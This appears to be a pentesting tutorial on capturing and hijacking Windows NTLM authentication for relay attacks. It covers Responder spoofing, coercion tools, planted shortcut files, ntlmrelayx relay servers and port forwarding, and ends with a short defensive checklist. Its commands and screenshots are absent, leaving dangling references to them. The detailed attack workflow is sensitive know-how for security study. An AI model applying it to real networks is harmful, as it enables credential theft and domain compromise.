Your guide to NTLM relay: Hijacking NTLM authentication to deliver a relay attack

Theory

NTLM is an authentication protocol used in Windows NT networks. Over time, it has migrated to other domains as well (e.g. to ALD and FreeIPA). To avoid digging deep into the theory, I will explain its operating principle using a simple diagram.

1. The client initiates the authentication process by sending a special message;
2. The server sends some random value to the client; and 
3. The client encrypts this random value using the hash of its password and sends it back to the server for validation.

In this simple example, everything is clear: there is a client; there is a server; and the client is authenticated using the NTLM protocol. Now let’s make this scheme slightly more sophisticated by adding an attacker.

It can be seen from the above diagram that the attacker deploys both a server and a client on the attacker’s workstation for communication over the NTLM protocol. For better understanding, let’s examine the diagram in more detail.

1. The client (victim) sends a message indicating the beginning of NTLM authentication: NEGOTIATE. The attacker intercepts this message using its server;
2. The attacker sends from its client a message indicating the beginning of NTLM authentication (i.e. NEGOTIATE) to the target server;
3. The attacker receives a message with a random value (i.e. CHALLENGE) from the target server;
4. The attacker sends a message with the same CHALLENGE (as in the third step) to the victim;
5. The victim encrypts CHALLENGE with its NTLM hash and sends it to the server; and 
6. The attacker intercepts the victim’s response and forwards it to the server. As a result, the attacker successfully authenticates to the target server.

Overall, the scheme is clear, but when you deliver such an attack, you can encounter various nuances you must be aware of. First, NTLM exists not in the void: it’s used by various protocols, including SMB, LDAP, or RPC. Second, different hashes can be used in the course of authentication: NetNTLMv1 or NetNTLMv2. These hashes have their own distinct features that can determine the outcome of your attack.

There are two versions of the protocol: NTLMv1 and NTLMv2. NTLMv1 uses the NetNTLMv1 hash and is totally obsolete:

• The only random value is CHALLENGE sent by the server. Accordingly, if you spoof a server, CHALLENGE can be spoofed as well and rainbow tables can be prepared;
• NT hash can be reversed from NetNTLMv1 hash. More information on this can be found on Crack.SH; and 
• There is no message integrity code (MIC) that protects against cross-protocol relay attacks.

As you have probably guessed, NTLMv2 uses the NetNTLMv2 hash. Its developers did their best to solve all problems intrinsic to the NTLMv1 protocol. It must be admitted that it’s still not possible to reverse its hash at least to NT within a reasonable time. And rainbow tables cannot be prepared because a timestamp has been added to CHALLENGE. Still, NTLMv2 isn’t completely immune to relay attacks, but this is a separate topic to be discussed in the next article.

This article describes techniques used to hijack NTLM authentication for a subsequent relay attack. The next one will be focused on relay attacks and their delivery.

After capturing an NetNTLM hash of any version, you can try to guess the password using a dictionary. For instance, as shown below:

Hijacking NTLM authentication with Responder

Responder-based spoofing (the tool is shipped with Kali) is one of the easiest ways to hijack NTLM authentication.

I have no doubt that many hackers pentesters had already used this tool to capture hashes; so let’s briefly examine its main functions. Responder provides the user with a set of servers required to hijack and handle authentications.

Responder-based hash capture looks as follows.

This format is suitable for brute-forcing with hashcat. Responder stores all captured hashes in a SQLite database: /usr/share/responder/Responder.db. You can open this database using the following command:

The path to the Responder configuration file is as follows: /etc/responder/Responder.conf. This information can be useful if you need to turn a certain server off or on. The screenshot below shows the Responder.conf file.

Responder enables you to deliver spoofing attacks in Windows-based networks. A prerequisite for NetBIOS spoofing attacks is the presence of broadcast traffic (NBNS, LLMNR, or mDNS) on the network. Network traffic can be sniffed using Wireshark with the NBNS filter enabled.

Instead of visual traffic analysis, you can run Responder in analyze mode using the following command:

The analyze mode output is shown below. Now you can try spoofing.

To deliver a spoofing attack with the purpose to hijack authentication, use the following command:

If the attack was successful, proceed to further steps.

Hijacking NTLM authentication to deliver relay attacks

The easiest way to deliver a relay attack, is to use the ntlmrelayx tool available in impacket. This program implements commonly used protocols over which NTLM authentication can be hijacked. Generally speaking, ntlmrelayx uses a client-server model, and this article not only discusses all RelayServers implemented in it, but even introduces a new one that is absent in the main fork yet.

SMB (445/TCP)

In terms of relay attacks, SMB is the best-investigated and popular protocol; accordingly, there are plenty of techniques making it possible to hijack authentication over SMB. For instance, you can:

1. Deliver a coerce attack (forced authentication): – anonymously (using PetitPotam (CVE-2021-36942)); or  – on behalf of an account;
2. Use shortcuts on shares with write access: – anonymously; or  – on behalf of an account;
3. Trigger authentication manually; or 
4. Deliver a MITM attack.

Coerce attacks

In this article, I am not going to discuss coerce attacks in detail. It must be noted however that if you have an account, then coerced authentication is not a vulnerability, but an architectural feature.

You can coerce to authenticate using any suitable script, for instance Coercer.py. It supports almost all known attack techniques, including coerced authentication without an account.

The screenshot below shows Coercer.py in action.

As a result of coercion, you get NTLM authentication.

Importantly, such attacks bring you machine accounts, which must be taken into account when you are planning relay attacks.

Shortcuts

Techniques involving shortcuts (slinky and scuffy) are quite old and efficient. If the target network has writable folders, make sure to drop there shortcuts with links to the attacker’s IP address. As soon as the user opens a network folder with your shortcut, you’ll get NTLM authentication over SMB. Attacks can be delivered in multiple ways:

• using the PyLnk 3 utility (available in Kali);
• using CrackMapExec (also available in Kali); or 
• manually.

Let’s examine the third option: this technique is slightly different from slinky and scuffy. The approximate contents of your file with the .url extension are shown below:

So, you drop the shortcut to a network folder, browse to it, and get NTLM authentication as shown in the figures below.

You browse to the network folder containing the shortcut…

…and immediately get NTLM authentication.

In the above example, the hash was captured using Responder, but in real life, you can run ntlmrelayx and deliver a relay attack.

Manual triggering

If you can execute code on a domain host (let’s say, you managed to brute-force PostgreSQL and now can execute code from it), you can attempt to trigger SMB authentication by typing a simple command in cmd:

MITM

A number of attacks enable you to penetrate in the middle between the client and the server: ARP spoofing, DHCPv6 spoofing, or NetBIOS spoofing (with Responder). Such techniques make it possible to hijack NTLM authentication and perform other malicious actions. However, these attacks can be destructive to the network; so, it’s always better to avoid them.

I won’t discuss MITM attacks separately in subsequent chapters since their essence is basically the same.

RPC (135/TCP)

A ready-to-use RPCRelayServer is available in the GitHub repository. Script has not been added to the main impacket fork yet, but, apparently, it’s a matter of time. If you want to try it, you can update manually. After adding the required scripts and components to ntlmrelayx, you’ll be able to receive authentication on port 135/TCP.

To receive NTLM authentication on port 135, you can:

• use SweetPotato;
• trigger it manually; or 
• deliver a MITM attack.

SweetPotato

SweetPotato and its operating principle are described in detail in the article Poisonous spuds. Privilege escalation in AD with RemotePotato0. But the general concept is the same as in PetitPotam: you receive authentication on behalf of the host only on port 135.

Manual triggering

If you can execute code on a domain PC (e.g. for experimental purposes), you can trigger a request to DCE RPC as follows:

Receiving authentication on DCE RPC

You receive authentication and deliver a SMB relay attack.

As a result, you get access to network folders.

HTTP (80/TCP)

To receive NTLM authentication over HTTP, you can:

• deliver a coerce attack if WebDav is enabled on the target host;
• use PrivExchange;
• trigger it manually;
• exploit RemotePotato0; or 
• deliver a MITM attack.

Coerce attacks

Coerce attacks delivered over HTTP, are similar to SMB relay attacks; the only difference is that WebDav must be enabled on the target host you are about to coerce.

Also, you need your own DNS record in the target domain. If WebDav is enabled, then all you have to do is coerce the host to authenticate using Coercer.py or any other script (e.g. PetitPotam).

This is how you coerce a host to authenticate over HTTP.

To check whether WebDav is enabled, use the following command:

PrivExchange

The Exchange coercion technique (PrivExchange) is based on vulnerabilities CVE-2019-0686 and CVE-2019-0724. It’s described in detail in the article Abusing Exchange: One API call away from Domain Admin.

Manual triggering

If you can remotely execute code on a domain PC, you can trigger an HTTP request using Basic auth. The command is as follows:

RemotePotato0

When you use the RemotePotato0 technique for privilege escalation, at some point, you get HTTP authentication, and it can be used to deliver a relay attack. A distinct feature of this attack is that you have to choose a correct CLSID; for more detail, see the article Poisonous spuds. Privilege escalation in AD with RemotePotato0.

First, you run the RemotePotato0.exe exploit on a host you have RDP access to.

Then you run ntlmrelayx on the attacker’s host. As a result, you get a certificate on behalf of the domain admin.

WCF (9389/TCP)

The WCF (Windows Communication Foundation) protocol represents an uncommon way to receive NTLM authentication. More information on it is available on the Microsoft website. Spoiler: the Active Directory module for PowerShell is based on the WCF protocol.

So, how can it be used for relay attacks? The first research in this area was conducted by @cnotin in 2020; as a result, WCFRelayServer for ntlmrelayx was created. Here is the link to author’s blog.

To receive authentication over WCF, you can:

• trigger it manually; or 
• deliver a MITM attack.

Manual triggering

If you can remotely execute code on a domain host, you can trigger a WCF request to 9389/TCP using NetNTLM:

You can encounter such authentication during a pentesting audit (e.g. when you deliver an ARP spoofing attack in the network segment where admins are located).

RAW (arbitrary TCP)

I discovered this protocol and this technique when I was collecting information for this article. So far, you can get authentication on RAWRelayServer only using lsarelayx.

The technique is quite simple: you run lsarelayx on a compromised Windows PC and start coercing all target hosts to authenticate on it (or just wait until some privileged user logs in). When authentication is received, lsarelayx hijacks it and forwards to your host. In other words, it’s some kind of bookmark.

The operation scheme is as follows:

My experiments with lsarelayx showed that all relay attacks work in accordance with the protocol over which authentication is received; while RAW is only an intermediate link in the relay attack chain.

To run lsarelayx use the following command:

Now lsarelayx is running on the compromised host.

Authentication from lsarelayx to RAWRelayServer comes to your host, and you forward it to SMB.

Attack results depend on the privileges of the hijacked authentication.

In conclusion, it must be noted that Windows Defender immediately detects and removes lsarelayx; so, it won’t be an easy task to run it.

How to get NTLM authentication if NAT or firewall prevent this

Relay won’t work if network connections to the attacker’s host are unavailable. NAT or firewall can prevent such connections. The problem can be solved in several ways:

• Search for a Linux host you can establish connection with; in most cases, you can find one;
• A good solution is to deploy a Linux virtual PC on a Windows host. For detailed instructions, see the article Spying penguin. Windows post-exploitation with a Linux-based VM; or 
• If all other options seem to be impossible or you’re running out of time, you can run ntlmrelayx on a host with a ‘white’ IP address; however, you must keep in mind the associated risks: authentication will be performed over the Internet in plain text.

Bonus #1

When you coerce authentication over HTTP, it might seem that the situation with WebDav is clear: it’s either enabled or disabled (and if so, something is wrong with the DNS record). If your PC doesn’t have a DNS record, you can always search for a host that has one. And it doesn’t matter whether it’s Windows or Linux: using socat, you can forward port 80 and receive the much-needed authentication. The diagram below shows how it works.

Step 1: You run socat to forward port 80 from a host having a DNS record to the attacker’s PC.

Step 2: You run ntlmrelayx on the attacker’s host.

Step 3: You coerce the target (Work2 on the diagram) to perform NTLM authentication on the host running socat.

Step 4: Work2 attempts to authenticate on Work3 and connects to the attacker’s host.

Bonus #2

From time to time, one or another system attempts to perform NTLM authentication on behalf of a domain account (e.g. antiviruses, DLP systems, and backup systems).

To detect such events, you should run Responder in the analyze mode for a while and see whether anyone attempted to authenticate.

Once you have confirmed that some system authenticates on the domain on a regular basis, you run ntlmrelayx and wait for the next time the account tries to authenticate on your node. If you deliver a relay attack in the right place, you can gain a foothold on the domain and then escalate your privileges to admin.

The above example leads to the subject of the next article: NTLM relay. You will learn what is it, how to deliver such attacks, and what kind of profit you can get from them.

Protection

The following protective measures can be recommended:

1. Install security updates on a regular basis;
2. Make sure that there are no network folders with anonymous write access;
3. Stop using NetBIOS;
4. Disable IPv6 if you don’t need it; and 
5. Employ mitigating measures to protect against coerce attacks.

Conclusions

No doubt, the above-discussed list of techniques that can be used to hijack NTLM authentication isn’t complete. If you have any thoughts, ideas, or practical experience with alternative methods, I would be happy to get your feedback.

The main conclusion is as follows: the range of techniques making it possible to get NTLM authentication for the subsequent relay attack is limited only by the attacker’s imagination.

See you soon!